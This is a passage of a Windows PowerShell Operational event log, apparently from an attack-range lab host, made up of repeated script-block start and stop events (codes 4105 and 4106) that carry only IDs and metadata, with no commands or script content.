Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035073
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035072
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035055
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035049
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035027
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035025
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035024
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
